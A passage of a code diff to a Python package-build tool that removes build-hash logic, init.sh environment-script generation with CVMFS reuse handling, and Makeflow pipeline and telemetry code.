h_default(spec["commit_hash"]) - try: - # If spec["commit_hash"] is a tag, get the actual git commit hash. - real_commit_hash = spec["scm_refs"]["refs/tags/" + spec["commit_hash"]] - except KeyError: - # If it's not a tag, assume it's an actual commit hash. - real_commit_hash = spec["commit_hash"] - # Get any other git tags that refer to the same commit. We do not consider - # branches, as their heads move, and that will cause problems. - debug("Real commit hash is %s, storing alternative", real_commit_hash) - h_real_commit = h_all.copy() - h_real_commit(real_commit_hash) - h_alternatives = [(spec.get("tag", "0"), spec["commit_hash"], h_default), - (spec.get("tag", "0"), real_commit_hash, h_real_commit)] - for ref, git_hash in spec.get("scm_refs", {}).items(): - if ref.startswith("refs/tags/") and git_hash == real_commit_hash: - tag_name = ref[len("refs/tags/"):] - debug("Tag %s also points to %s, storing alternative", - tag_name, real_commit_hash) - hasher = h_all.copy() - hasher(tag_name) - h_alternatives.append((tag_name, git_hash, hasher)) - - # Now that we've split the hasher with the real commit hash off from the ones - # with a tag name, h_all has to add the data to all of them separately. - def h_all(data): # pylint: disable=function-redefined - for _, _, hasher in h_alternatives: - hasher(data) - - modifies_full_hash_dicts = ["env", "append_path", "prepend_path"] - if not spec["is_devel_pkg"] and "track_env" in spec: - modifies_full_hash_dicts.append("track_env") - - # A package's build hash is defined by its OWN inputs only — recipe text - # (comment-stripped), sources, patches, and the hashes of its declared - # dependencies — never the commit hash of the repository provider the recipe - # came from. By convention recipes are self-contained; anything they need from - # elsewhere is pulled in as an explicit package dependency (requires/ - # build_requires) or via bits-include, both of which resolve to separately and - # granularly hashed packages — so cross-recipe coupling is already captured. - # Folding the provider's whole-repo commit hash here instead rebuilt EVERY - # package from that provider on ANY commit to it (even a docs/comment change); - # invalidation must be driven by the individual packages, not the repository. - # recipe_provider_hash is still set on the spec and recorded in the manifest - # (manifest.add_providers) for provenance — it just no longer enters the hash. - - for key in modifies_full_hash_dicts: - if key not in spec: - h_all("none") - else: - # spec["env"] is of type OrderedDict[str, str]. - # spec["*_path"] are of type OrderedDict[str, list[str]]. - assert isinstance(spec[key], OrderedDict), \ - "spec[{!r}] was of type {!r}".format(key, type(spec[key])) - - # Python 3.12 changed the string representation of OrderedDicts from - # OrderedDict([(key, value)]) to OrderedDict({key: value}), so to remain - # compatible, we need to emulate the previous string representation. - h_all("OrderedDict([") - h_all(", ".join( - # XXX: We still rely on repr("str") being "'str'", - # and on repr(["a", "b"]) being "['a', 'b']". - "({!r}, {!r})".format(key, value) - for key, value in spec[key].items() - )) - h_all("])") - - for tag, commit_hash, hasher in h_alternatives: - # If the commit hash is a real hash, and not a tag, we can safely assume - # that's unique, and therefore we can avoid putting the repository or the - # name of the branch in the hash. - if commit_hash == tag: - hasher(spec.get("source", "none")) - if "source" in spec: - hasher(tag) - if "sources" in spec: - for src in spec["sources"]: - if src.startswith("file://"): - with open(src.removeprefix("file:/")) as ref: - file_content = "".join(ref.readlines()) - h_all(file_content) - else: - h_all(src) - if "patches" in spec: - for patch in spec["patches"]: - h_all(patch) - with open(os.path.join(spec["pkgdir"], "patches", patch)) as ref: - patch_content = "".join(ref.readlines()) - h_all(patch_content) - - if not package.startswith("defaults-"): - for hook_name in sorted(spec.get("hook", {})): - h_all("hook:" + hook_name + "=" + str(spec["hook"][hook_name])) - for hook_name in sorted(spec.get("hook_params", {})): - h_all("hook_params:" + hook_name + "=" + str(spec["hook_params"][hook_name])) - - # untracked_requires: dependencies the user controls and links at runtime but - # has chosen NOT to fold into this package's identity hash, so that editing one - # does not invalidate (rebuild) this package or anything above it. (Empty for - # ordinary recipes, so their hashes are byte-identical to before.) - untracked = set(spec.get("untracked_requires", ())) - dh = Hasher() - for dep in spec.get("requires", []): - # At this point, our dependencies have a single hash, local or remote, in - # specs[dep]["hash"]. - hash_and_devel_hash = specs[dep]["hash"] + specs[dep].get("devel_hash", "") - if dep in untracked: - # Excluded from the identity hash entirely (not even the base hash), so a - # change to this dependency leaves the consumer's hash — and therefore the - # hashes of everything above it — unchanged. It is still fed into deps_hash - # below, so a *development* build of this package picks the new dependency - # up via an incremental rebuild. - dh(hash_and_devel_hash) - continue - # If this package is a dev package, and it depends on another dev pkg, then - # this package's hash shouldn't change if the other dev package was - # changed, so that we can just rebuild this one incrementally. - h_all(specs[dep]["hash"] if spec["is_devel_pkg"] else hash_and_devel_hash) - # The deps_hash should always change, however, so we actually rebuild the - # dependent package (even if incrementally). - dh(hash_and_devel_hash) - - if spec["is_devel_pkg"] and "incremental_recipe" in spec: - h_all(spec["incremental_recipe"]) - ih = Hasher() - ih(spec["incremental_recipe"]) - spec["incremental_hash"] = ih.hexdigest() - elif spec["is_devel_pkg"]: - h_all(spec["devel_hash"]) - - if considerRelocation and "relocate_paths" in spec: - h_all("relocate:"+" ".join(sorted(spec["relocate_paths"]))) - - spec["deps_hash"] = dh.hexdigest() - spec["remote_revision_hash"] = h_default.hexdigest() - # Store hypothetical hashes of this spec if we were building it using other - # tags that refer to the same commit that we're actually building. These are - # later used when fetching from the remote store. The "primary" hash should - # be the first in the list, so it's checked first by the remote stores. - spec["remote_hashes"] = [spec["remote_revision_hash"]] + \ - list({h.hexdigest() for _, _, h in h_alternatives} - {spec["remote_revision_hash"]}) - # The local hash must differ from the remote hash to avoid conflicts where - # the remote has a package with the same hash as an existing local revision. - h_all("local") - spec["local_revision_hash"] = h_default.hexdigest() - spec["local_hashes"] = [spec["local_revision_hash"]] + \ - list({h.hexdigest() for _, _, h, in h_alternatives} - {spec["local_revision_hash"]}) def hash_local_changes(spec): @@ -1089,283 +762,6 @@ def _pkg_install_path(workDir, architecture, spec): return join(workDir, architecture, spec["package"], ver_rev(spec)) -def generate_initdotsh(package, specs, architecture, workDir="sw", post_build=False, - from_modules=False, cmake_prefix_env=False, - reuse_cvmfs_base=None): - """Return the contents of the given package's etc/profile/init.sh as a string. - - If post_build is true, also generate variables pointing to the package - itself; else, only generate variables pointing at it dependencies. - - If from_modules is true (the --initdotsh-from-modules build mode), the - post_build self-environment additionally exposes the development/build - variables the runtime modulefile carries but the legacy init.sh omits - (_INCLUDE_DIR, Python site-packages on PYTHONPATH), generated from the - package root and guarded on existence. Off by default, so the generated text - is byte-identical to before when the mode is not active. - - If cmake_prefix_env is true (legacy/alidist builds that opt in via the - hashed defaults env knob BITS_LEGACY_CMAKE_PREFIX_PATH), each package root is - also exported on the ':'-separated CMAKE_PREFIX_PATH environment variable, - which CMake's find_package() reads natively on Unix. Off by default so the - text stays byte-identical to aliBuild's when the knob is not set. - """ - spec = specs[package] - # Allow users to override BITS_ARCH_PREFIX if they manually source - # init.sh. This is useful for development off CVMFS, since we have a - # slightly different directory hierarchy there. - lines = [': "${BITS_ARCH_PREFIX:=%s}"' % architecture] - lines.extend([ - 'if [ -z "${WORK_DIR}" ]; then', - ' WORK_DIR=%s' % abspath(workDir), - 'fi', - ]) - # Generate the part which sources the environment for all the dependencies. - # We guarantee that a dependency is always sourced before the parts - # depending on it, but we do not guarantee anything for the order in which - # unrelated components are activated. - # These variables are also required during the build itself, so always - # generate them. - def _arch_prefix_expr(dep_spec): - """Return the shell expression for the install-tree root of *dep_spec*. - - Arch-specific packages use the runtime variable ``$BITS_ARCH_PREFIX`` so - that the same init.sh works when relocated (e.g. off CVMFS). - Shared packages (``architecture: shared``) always live under the literal - directory ``shared/``, so we embed that string directly. - """ - if dep_spec.get("architecture") == SHARED_ARCH: - return '"$WORK_DIR/shared"' - return '"$WORK_DIR/$BITS_ARCH_PREFIX"' - - def _dep_init_path(dep): - dep_spec = specs[dep] - family = dep_spec.get("pkg_family", "") - family_seg = (quote(family) + "/") if family else "" - arch_prefix = _arch_prefix_expr(dep_spec) - # ver_rev(dep_spec) is used instead of "{version}-{revision}" so that - # dependencies whose revision was forced or dropped via force_revision in - # defaults are sourced from the correct path in the generated init.sh. - # Using the raw revision string here would produce a trailing dash - # ("8.5.0-") when force_revision is set to "" (empty), breaking the - # environment for every downstream package. - return ( - '[ -n "${{{bigpackage}_REVISION}}" ] || ' - '. {arch_prefix}/{family}{package}/{ver_rev}/etc/profile.d/init.sh' - ).format( - bigpackage=pkg_to_shell_id(dep), - arch_prefix=arch_prefix, - family=family_seg, - package=quote(dep_spec["package"]), - ver_rev=quote(ver_rev(dep_spec)), - ) - # A dependency satisfied from a reused CVMFS release is set up by sourcing its - # DEPLOYED init.sh from CVMFS — the same mechanism as a local dep, just from - # the deployment. The deployed init.sh resolves paths via "$WORK_DIR/ - # $BITS_ARCH_PREFIX", so we point those at the CVMFS Packages base while - # sourcing (and restore after) so its own and its transitive deps' paths land - # on CVMFS. Per-DEPENDENCY, so a legacy-built package can consume a reused dep. - # Needs /cvmfs mounted in the build container (no modulecmd required). - _reqs = list(spec.get("requires", ())) - _reused_set = {d for d in _reqs - if reuse_cvmfs_base and specs[d].get("reuse_module_id")} - - def _reused_dep_lines(d): - # Point the deployed init.sh's "$WORK_DIR/$BITS_ARCH_PREFIX" at the CVMFS - # Packages base. BITS_ARCH_PREFIX MUST be non-null (the deployed init.sh's - # `: "${BITS_ARCH_PREFIX:=}"` would otherwise re-add the arch); "." is - # a harmless no-op segment (/./ == /). Save/restore so - # locally-built deps keep the local WORK_DIR. - dep_spec = specs[d] - verrev = dep_spec["reuse_module_id"].split("/", 1)[1] - return [ - '_bits_swd="${WORK_DIR:-}"; _bits_sap="${BITS_ARCH_PREFIX:-}"', - 'WORK_DIR="%s"; BITS_ARCH_PREFIX="."' % reuse_cvmfs_base, - '[ -n "${%s_REVISION}" ] || . "%s/%s/%s/etc/profile.d/init.sh"' - % (pkg_to_shell_id(d), reuse_cvmfs_base, dep_spec["package"], verrev), - 'WORK_DIR="${_bits_swd}"; BITS_ARCH_PREFIX="${_bits_sap}"; ' - 'unset _bits_swd _bits_sap', - ] - - if _reused_set: - # Emit deps in topological order (prerequisites first) so a dep set up - # before a reused dep whose deployed init.sh transitively references it — - # e.g. a locally-built bits-recipe-tools before a reused CMake — sets its - # _REVISION first, and the deployed init.sh's guard skips the re-source - # (which would look on CVMFS where a local-only build does not exist). - _req_set = set(_reqs) - _order = [d for d in topological_sort(specs) if d in _req_set] - for d in _order: - if d in _reused_set: - lines.extend(_reused_dep_lines(d)) - else: - lines.append(_dep_init_path(d)) - # A reused CVMFS package may ship a pkg-config .pc whose baked `prefix=` does - # not match its deployed location (publish-time relocation can misplace it), - # breaking find_package via pkg-config for a consumer (e.g. xrootd → Davix). - # The reuse anchoring already resolved each dep's real root into _ROOT, - # so stage corrected .pc copies (prefix rewritten to that root) in a writable - # dir and prepend it to PKG_CONFIG_PATH. Reads from read-only /cvmfs, writes - # under $WORK_DIR; a no-op for reused deps that ship no .pc. - _reused_roots = " ".join('"${%s_ROOT:-}"' % pkg_to_shell_id(d) - for d in _order if d in _reused_set) - lines.extend([ - '_bits_rpc="${WORK_DIR:-.}/reuse-pkgconfig"; mkdir -p "$_bits_rpc"', - 'for _bits_root in %s; do' % _reused_roots, - ' [ -n "$_bits_root" ] || continue', - ' for _bits_pcd in "$_bits_root/lib64/pkgconfig" "$_bits_root/lib/pkgconfig"; do', - ' [ -d "$_bits_pcd" ] || continue', - ' for _bits_pc in "$_bits_pcd"/*.pc; do', - ' [ -e "$_bits_pc" ] || continue', - ' sed "s|^prefix=.*|prefix=$_bits_root|" "$_bits_pc" > "$_bits_rpc/${_bits_pc##*/}"', - ' done', - ' done', - 'done', - # Prepend once — init.sh may be sourced repeatedly; avoid unbounded growth. - 'case ":${PKG_CONFIG_PATH:-}:" in', - ' *":$_bits_rpc:"*) ;;', - ' *) export PKG_CONFIG_PATH="$_bits_rpc${PKG_CONFIG_PATH:+:$PKG_CONFIG_PATH}" ;;', - 'esac', - 'unset _bits_rpc _bits_root _bits_pcd _bits_pc', - ]) - else: - lines.extend(_dep_init_path(dep) for dep in _reqs) - - if post_build: - bigpackage = pkg_to_shell_id(package) - - # Set standard variables related to the package itself. These should only - # be set once the build has actually completed. - self_family = spec.get("pkg_family", "") - self_family_seg = (quote(self_family) + "/") if self_family else "" - self_arch_prefix = _arch_prefix_expr(spec) - lines.extend(line.format( - bigpackage=bigpackage, - arch_prefix=self_arch_prefix, - family=self_family_seg, - package=quote(spec["package"]), - version=quote(spec["version"]), - # ver_rev() produces "version-revision" or just "version" when - # force_revision is set to "" via defaults; the ROOT export path must - # match the actual install directory produced by _pkg_install_path(). - ver_rev=quote(ver_rev(spec)), - revision=quote(spec["revision"]), - hash=quote(spec["hash"]), - commit_hash=quote(spec["commit_hash"]), - ) for line in ( - 'export {bigpackage}_ROOT={arch_prefix}/{family}{package}/{ver_rev}', - 'export RECC_PREFIX_MAP="${bigpackage}_ROOT=/recc/{bigpackage}_ROOT:$RECC_PREFIX_MAP"', - "export {bigpackage}_VERSION={version}", - "export {bigpackage}_REVISION={revision}", - "export {bigpackage}_HASH={hash}", - "export {bigpackage}_COMMIT={commit_hash}", - )) - - # Generate the part which sets the environment variables related to the - # package itself. This can be variables set via the "env" keyword in the - # metadata or paths which get concatenated via the "{append,prepend}_path" - # keys. These should only be set once the build has actually completed, - # since the paths referred to will only exist then. - - # First, output a sensible error message if types are wrong. - for key in ("env", "append_path", "prepend_path"): - dieOnError(not isinstance(spec.get(key, {}), dict), - "Tag `{}' in {} should be a dict.".format(key, package)) - - # Set "env" variables. - # We only put the values in double-quotes, so that they can refer to other - # shell variables or do command substitution (e.g. $(brew --prefix ...)). - lines.extend('export {}="{}"'.format(key, resolve_spec_data(spec, value, "")) - for key, value in spec.get("env", {}).items()) - - # Append paths to variables, if requested using append_path. - # Again, only put values in double quotes so that they can refer to other variables. - lines.extend('export {key}="${key}:{value}"' - .format(key=key, value=":".join(asList(value))) - for key, value in spec.get("append_path", {}).items()) - - # First convert all values to list, so that we can use .setdefault().insert() below. - prepend_path = {key: [resolve_spec_data(spec, dir, "") for dir in asList(value)] - for key, value in spec.get("prepend_path", {}).items()} - # By default we add the .../bin directory to PATH, .../lib to LD_LIBRARY_PATH - # and .../lib*/pkgconfig to PKG_CONFIG_PATH. Prepend to these paths, so that - # our packages win against system ones. - # - # PKG_CONFIG_PATH is added generically here so that the *build-time* - # environment mirrors what each package's runtime modulefile exposes via the - # ModuleRecipe `--pkgconfig` flag: a downstream recipe's ./configure or cmake - # then finds every dependency's .pc files without the recipe having to declare - # `prepend_path: { PKG_CONFIG_PATH: ... }` by hand. Each entry is guarded by a - # directory-existence test below, so adding it for every dependency is safe - # (it is a no-op for packages that ship no pkgconfig directory). - # - # CMAKE_PREFIX_PATH is deliberately NOT added here: CMake recipes pass it on - # the cmake command line as a `;`-separated -D argument (built by CMakeRecipe's - # _SetBuildEnvBase), whereas an environment variable would need `:` separators - # on Unix. Mixing the two on the same name corrupts the list, so build-time - # CMAKE_PREFIX_PATH stays owned by CMakeRecipe. - # The dynamic-loader search path is platform-specific: macOS dyld uses - # DYLD_LIBRARY_PATH (and ignores LD_LIBRARY_PATH), Linux uses LD_LIBRARY_PATH. - # Emit only the relevant one so build-time tools find their dependencies' - # shared libraries — on macOS this is what lets e.g. protoc -> Abseil work - # after the install-time rpath is stripped. The build environment must NOT - # unset this variable after sourcing init.sh (see build_template.sh). - _lib_path_var = "DYLD_LIBRARY_PATH" if architecture.startswith("osx") else "LD_LIBRARY_PATH" - for key, value in (("PATH", "bin"), - (_lib_path_var, "lib"), (_lib_path_var, "lib64"), - ("PKG_CONFIG_PATH", "lib/pkgconfig"), ("PKG_CONFIG_PATH", "lib64/pkgconfig")): - prepend_path.setdefault(key, []).insert(0, f"${bigpackage}_ROOT/{value}") - lines.extend('[ ! -d "{value}" ] || export {key}="{value}${{{key}+:${key}}}"' - .format(key=key, value=dir) - for key, value in prepend_path.items() - for dir in value) - - # Legacy/alidist builds, opted in via the hashed defaults env knob - # BITS_LEGACY_CMAKE_PREFIX_PATH: expose each package root on the - # ':'-separated CMAKE_PREFIX_PATH ENVIRONMENT variable. This mirrors at - # build time what the runtime modulefiles already provide - # (alibuild-generate-module --cmake emits `prepend-path CMAKE_PREFIX_PATH`), - # the same build/runtime-parity rationale as the generic PKG_CONFIG_PATH - # above. Needed because aliBuild's init.sh sets only _ROOT, which - # CMake ignores for packages whose cmake_minimum_required predates - # CMP0074/CMP0144 (e.g. VecGeom's builtin VecCore 0.8.0 requiring 3.9 - # cannot find Vc under CMake 4). Gated off in from_modules mode, which - # already emits its own CMAKE_PREFIX_PATH entry. - if cmake_prefix_env and not from_modules: - _cpp_root = "${%s_ROOT}" % bigpackage - lines.append('[ ! -d "%s" ] || export ' - 'CMAKE_PREFIX_PATH="%s${CMAKE_PREFIX_PATH:+:$CMAKE_PREFIX_PATH}"' - % (_cpp_root, _cpp_root)) - - if from_modules: - # --initdotsh-from-modules: also expose the development/build environment - # the runtime modulefile provides but the legacy init.sh omits — the - # package's own headers (_INCLUDE_DIR) and Python site-packages on - # PYTHONPATH. Each package sets only its own; a consumer that sources the - # dependency chain therefore accumulates the whole closure, matching what - # loading the modulefile chain would yield. Everything is generated from - # the package root bits already knows and guarded on directory existence, - # so it is a no-op for packages that ship no headers / Python modules. - # CMAKE_PREFIX_PATH is set as the ':'-separated environment variable, which - # CMake's find_package() reads natively on Unix (in addition to any - # ';'-separated -D cache value). So CMakeRecipe's reconstruction is gated - # off under this mode (it would otherwise overwrite this with a ';'-list). - root = "${%s_ROOT}" % bigpackage - lines.append('[ ! -d "%s/include" ] || export %s_INCLUDE_DIR="%s/include"' - % (root, bigpackage, root)) - lines.append('[ ! -d "%s" ] || export ' - 'CMAKE_PREFIX_PATH="%s${CMAKE_PREFIX_PATH:+:$CMAKE_PREFIX_PATH}"' - % (root, root)) - lines.append( - 'for _bits_sp in "%s"/lib/python*/site-packages ' - '"%s"/lib/python/site-packages; do [ -d "$_bits_sp" ] && export ' - 'PYTHONPATH="$_bits_sp${PYTHONPATH:+:$PYTHONPATH}"; done; unset _bits_sp' - % (root, root)) - - # Return string without a trailing newline, since we expect call sites to - # append that (and the obvious way to inesrt it into the build template is by - # putting the "%(initdotsh_*)s" on its own line, which has the same effect). - return "\n".join(lines) # Copyleft licenses carry a corresponding-source obligation when their binaries @@ -1778,12 +1174,6 @@ def runBuildCommand(scheduler, p, specs, args, build_command, cachedTarball, scr nice_ladder.release(nice_token) if args.builders==1: progress.end("failed" if err else "done", err) - report_event("BuildError" if err else "BuildSuccess", spec["package"], " ".join(( - args.architecture, - spec["version"], - spec["commit_hash"], - os.environ["BITS_DIST_HASH"][:10], - ))) # We do not use the override for devel packages, because we # want to avoid having to rebuild things when the /tmp gets cleaned. @@ -1984,8 +1374,7 @@ def _doCheckout(spec, workDir, referenceSources, docker, enforce_mode, Used by the --builders path so that source clones/archive downloads run as scheduler tasks (capped by --parallel-downloads) overlapping compilation, instead of being executed serially in the preparation loop before any build - starts. Mirrors the work the Makeflow path does in its parallel .checkout - rules (bits_helpers.checkout_runner). + starts. Returns an empty string on success or an error message on failure, matching the scheduler convention (a falsy result means the task succeeded). @@ -2003,12 +1392,6 @@ def _doCheckout(spec, workDir, referenceSources, docker, enforce_mode, def doFinalSync(spec, specs, args, syncHelper): - # When --pipeline --makeflow is active, the Makeflow .build rule runs - # create_links.sh (dist symlinks) and the .upload rule handles the upload. - # Nothing to do here in that mode. - if getattr(args, "pipeline", False) and args.makeflow: - return - # We need to create 2 sets of links, once with the full requires, # once with only direct dependencies, since that's required to # register packages. @@ -2053,7 +1436,8 @@ def doFinalSync(spec, specs, args, syncHelper): # the upload is done, reclaim the space — mirroring the in-build CAN_DELETE # behaviour for the no-write-store case. Safe if it was never created. if getattr(args, "aggressiveCleanup", False) and getattr(syncHelper, "writeStore", ""): - from bits_helpers.utilities import resolve_store_path, effective_arch, ver_rev + from bits_helpers.utilities import resolve_store_path, ver_rev + from bits_helpers.arch import effective_arch _arch = effective_arch(spec, args.architecture) _tar = os.path.join(args.workDir, resolve_store_path(_arch, spec["hash"]), "{}-{}.{}.tar.gz".format(spec["package"], ver_rev(spec), _arch)) @@ -2080,7 +1464,8 @@ def doFinalSync(spec, specs, args, syncHelper): _rh.add(spec["hash"]) if getattr(args, "manifest", None) is not None: - from bits_helpers.utilities import resolve_store_path, effective_arch, ver_rev + from bits_helpers.utilities import resolve_store_path, ver_rev + from bits_helpers.arch import effective_arch _cached = spec.get("cachedTarball", "") _outcome = "from_store" if _cached else "built_from_source" # Locate the local tarball for checksum recording. @@ -2671,10 +2056,10 @@ def _truthy(v): # Publish guard: relaxed builds are loose-provenance (their closure includes # unverified deployed binaries) and must never reach a write store / publish # pipeline. Refuse early and clearly. - if args.reusePolicy == "relaxed" and (getattr(args, "writeStore", "") or getattr(args, "pipeline", False)): + if args.reusePolicy == "relaxed" and getattr(args, "writeStore", ""): dieOnError(True, "--reuse-policy relaxed produces loose-provenance artifacts that cannot be " - "published. Drop --write-store/--pipeline, or rebuild with --reuse-policy strict.") + "published. Drop --write-store, or rebuild with --reuse-policy strict.") # syncHelper is constructed after defaults loading so that it receives the # (potentially combined) architecture string. @@ -2732,6 +2117,7 @@ def _truthy(v): bits_providers = getattr(args, "bits_providers", None), taps = taps, provider_policy = getattr(args, "provider_policy", {}), + force_tracked = getattr(args, "forceTracked", False), ) # Phase 2 – Iterative scan: walk the top-level package list for any packages @@ -2772,6 +2158,7 @@ def _truthy(v): overrides = overrides, defaults = args.defaults, default_vars = defaultsMeta.get("variables"), + force_tracked = getattr(args, "forceTracked", False), ) provider_dirs.update(always_on_dirs) @@ -3151,24 +2538,10 @@ def _build_row(pkg): info("--dry-run / -n specified. Not building.") return - # Validate --pipeline: it requires --makeflow. - if getattr(args, "pipeline", False) and not args.makeflow: - warning("--pipeline requires --makeflow; disabling --pipeline for this run.") - args.pipeline = False - # We now iterate on all the packages, making sure we build correctly every # single one of them. This is done this way so that the second time we run we # can check if the build was consistent and if it is, we bail out. - report_event("install", "{p} disabled={dis} devel={dev} system={sys} own={own} deps={deps}".format( - p=args.pkgname, - dis=",".join(sorted(args.disable)), - dev=",".join(sorted(spec["package"] for spec in specs.values() if spec["is_devel_pkg"])), - sys=",".join(sorted(systemPackages)), - own=",".join(sorted(ownPackages)), - deps=",".join(buildOrder[:-1]), - ), args.architecture) - - buildList=[] + # Specs collected during the build loop for the post-build checksum phase. # Every processed spec is appended here, including those whose tarball was # already cached, so that --print-checksums / --write-checksums (and the @@ -3642,8 +3015,7 @@ def _build_row(pkg): # locally instead, so the single local artefact the CVMFS publish step reads # is present for BOTH built and reused packages. # - # Done for every package regardless of makeflow: makeflow's tar_template.sh - # only writes the link for FRESHLY-BUILT packages, so a makeflow *reused* + # Done for every package: a *reused* # package would otherwise get no local link now that the S3 version link is # gone (upload is hash-only and fetch_symlinks finds nothing). Recreating it # here is idempotent for the built case (same symlink, same target). @@ -3714,7 +3086,7 @@ def _build_row(pkg): # If the folder is a symlink that resolves to an existing directory, # we consider it to be on CVMFS and take the hash for good. # We must also check os.path.isdir() (which follows symlinks) so that - # dangling symlinks — e.g. created by a previous --makeflow run that + # dangling symlinks — e.g. created by a previous interrupted run that # wrote fetch_symlinks() entries before the actual tarball existed — # are NOT mistaken for a successfully installed package. if os.path.islink(hashPath) and os.path.isdir(hashPath): @@ -3896,16 +3268,12 @@ def _build_row(pkg): # must fire before compilation. print/write are deferred to the # post-build phase so they work for already-cached packages too. # - # In Makeflow mode we skip the sequential checkout here and instead - # generate a .checkout Makeflow rule per package so that all clones and - # archive downloads run in parallel as part of the DAG. - # - # In --builders mode (args.builders > 1) we likewise defer the checkout: + # In --builders mode (args.builders > 1) we defer the checkout: # it is registered below as a scheduler "download" task (fetch:) that # the build task depends on, so source downloads overlap compilation # instead of running serially here before any build starts. Only the # single-builder path still checks out inline. - if not args.makeflow and args.builders == 1: + if args.builders == 1: try: checkout_sources(spec, workDir, args.referenceSources, args.docker, enforce_mode=_download_time_mode(effective_checksum_mode), @@ -4041,63 +3409,6 @@ def _build_row(pkg): # Add the computed track_env environment buildEnvironment += [(key, value) for key, value in spec.get("track_env", {}).items()] - # -- Pipeline mode: prepare tar/upload commands and write helper scripts ---- - # Requires --makeflow. Compatible with --docker because tar.sh, create_links.sh, - # and upload_command all run on the HOST after the container exits; they access - # the build output via args.workDir, which the container already volume-mounts. - _is_config_pkg = spec["package"].startswith("defaults-") - _use_pipeline = getattr(args, "pipeline", False) and args.makeflow and not _is_config_pkg - tar_command = None - upload_command = None - if _use_pipeline: - import stat as _stat - # Signal build_template.sh to skip tarball creation. - buildEnvironment.append(("SKIP_TARBALL", "1")) - - # Write tar.sh from the installed template. - _tar_tpl_path = join(dirname(realpath(__file__)), "tar_template.sh") - with open(_tar_tpl_path) as _f: - _tar_tpl = _f.read() - writeAll(scriptDir + "/tar.sh", _tar_tpl) - os.chmod(scriptDir + "/tar.sh", - _stat.S_IRWXU | _stat.S_IRGRP | _stat.S_IXGRP | _stat.S_IROTH | _stat.S_IXOTH) - - # Write create_links.sh (bakes in dependency symlink commands so the - # shell rule does not need Python's specs dict). - writeAll(scriptDir + "/create_links.sh", - _generate_create_links_sh(spec, specs, args)) - os.chmod(scriptDir + "/create_links.sh", - _stat.S_IRWXU | _stat.S_IRGRP | _stat.S_IXGRP | _stat.S_IROTH | _stat.S_IXOTH) - - # Build the tar command (env vars for tar_template.sh). - _tar_env = " ".join( - "{}={}".format(k, quote(v)) for k, v in [ - ("WORK_DIR", workDir), - ("PKGNAME", spec["package"]), - ("PKGVERSION", spec["version"]), - ("PKGREVISION", spec["revision"]), - ("PKGHASH", spec["hash"]), - ("EFFECTIVE_ARCHITECTURE", effective_arch(spec, args.architecture)), - ("CACHED_TARBALL", cachedTarball), - ] - ) - tar_command = "env {} {} -e -x {}/tar.sh 2>&1".format(_tar_env, BASH, quote(scriptDir)) - - # Build the upload command (wrapped with the env vars that upload_cmd.py - # / the inline s3cmd script read from the environment). - _raw_upload = syncHelper.upload_shell_command(spec) - if _raw_upload: - _upload_env = " ".join( - "{}={}".format(k, quote(v)) for k, v in [ - ("PKGNAME", spec["package"]), - ("PKGVERSION", spec["version"]), - ("PKGREVISION", spec["revision"]), - ("PKGHASH", spec["hash"]), - ("EFFECTIVE_ARCHITECTURE", effective_arch(spec, args.architecture)), - ("BUILD_ARCH", args.architecture), - ] - ) - upload_command = "env {} {} 2>&1".format(_upload_env, _raw_upload) # In case the --docker options is passed, we setup a docker container which # will perform the actual build. Otherwise build as usual using bash. @@ -4203,96 +3514,28 @@ def _build_row(pkg): docker_image=getattr(args, "dockerImage", None), ) - # defaults-* packages are pure build-time configuration with no source to - # compile. In Makeflow mode, run them synchronously in the preparation phase - # instead of emitting Makeflow rules. This removes them from the DAG critical - # path and allows dependent packages to start without waiting for a Makeflow slot. - if args.makeflow and _is_config_pkg: - runBuildCommand(scheduler, p, specs, args, build_command, - cachedTarball, scriptDir, workDir, syncHelper) - continue # skip buildTargets.append and buildList.append buildTargets.append(p) - if not args.makeflow: - if args.builders == 1: - runBuildCommand(scheduler, p, specs, args, build_command, cachedTarball, scriptDir, workDir, syncHelper) - else: - build_deps = ["build:%s" % d for d in specs[p]["full_requires"] if d in buildTargets] - # When the package must be built from source, register its checkout as a - # scheduler "download" task (capped by --parallel-downloads) and make the - # build wait on it. The scheduler then compiles ready packages while - # other packages' sources are still downloading, removing the up-front - # serial download loop. Packages restored from a cached tarball need no - # source download, so they get no fetch task. - if not cachedTarball: - fetch_id = "fetch:%s" % p - scheduler.parallel(fetch_id, [], "download", _doCheckout, spec, workDir, - args.referenceSources, args.docker, - _download_time_mode(effective_checksum_mode), syncHelper, - getattr(args, "parallelSources", 1), raw_architecture) - build_deps = build_deps + [fetch_id] - scheduler.parallel("build:%s" % p, build_deps, "build", runBuildCommand, scheduler, p, specs, args, build_command,cachedTarball, scriptDir, workDir, syncHelper) + if args.builders == 1: + runBuildCommand(scheduler, p, specs, args, build_command, cachedTarball, scriptDir, workDir, syncHelper) else: - breq = " ".join([str(element) + ".build" for element in spec["full_requires"] if element in buildTargets]) - # In pipeline mode, append create_links.sh to the .build command so that - # dist symlinks are created inside the same rule (before .tar/.upload run). - _build_cmd = build_command - if _use_pipeline: - _build_cmd = "{} && {} -e -x {}/create_links.sh".format( - build_command, BASH, quote(scriptDir)) - - # --- Makeflow checkout rule ----------------------------------------- - # When the package needs to be built from source (no cached tarball), - # generate a spec_checkout.json + checkout.sh in scriptDir and record - # the command so the Jinja template can emit a parallel .checkout rule. - # This moves all git clones / archive downloads out of the sequential - # Python preparation phase and into independent Makeflow tasks. - checkout_cmd = "" + build_deps = ["build:%s" % d for d in specs[p]["full_requires"] if d in buildTargets] + # When the package must be built from source, register its checkout as a + # scheduler "download" task (capped by --parallel-downloads) and make the + # build wait on it. The scheduler then compiles ready packages while + # other packages' sources are still downloading, removing the up-front + # serial download loop. Packages restored from a cached tarball need no + # source download, so they get no fetch task. if not cachedTarball: - _scm_type = "sapling" if isinstance(spec.get("scm"), Sapling) else "git" - _checkout_spec = { - "scm_type": _scm_type, - "package": spec["package"], - "version": spec["version"], - "commit_hash": spec.get("commit_hash", ""), - "tag": spec.get("tag", spec["version"]), - "pkgdir": spec.get("pkgdir", ""), - "source": spec.get("source", ""), - "is_devel_pkg": spec.get("is_devel_pkg", False), - "reference": spec.get("reference", ""), - "write_repo": spec.get("write_repo", ""), - "patches": spec.get("patches", []), - "auto_patch": spec.get("auto_patch", True), - "sources": spec.get("sources", []), - "source_checksums": spec.get("source_checksums") or {}, - "patch_checksums": spec.get("patch_checksums") or {}, - } - _checkout_json = join(scriptDir, "spec_checkout.json") - with open(_checkout_json, "w") as _fh: - json.dump(_checkout_spec, _fh) - _ref = quote(args.referenceSources) if args.referenceSources else "''" - _enforce = quote(_download_time_mode(effective_checksum_mode)) - _psrc = str(getattr(args, "parallelSources", 1)) - checkout_cmd = 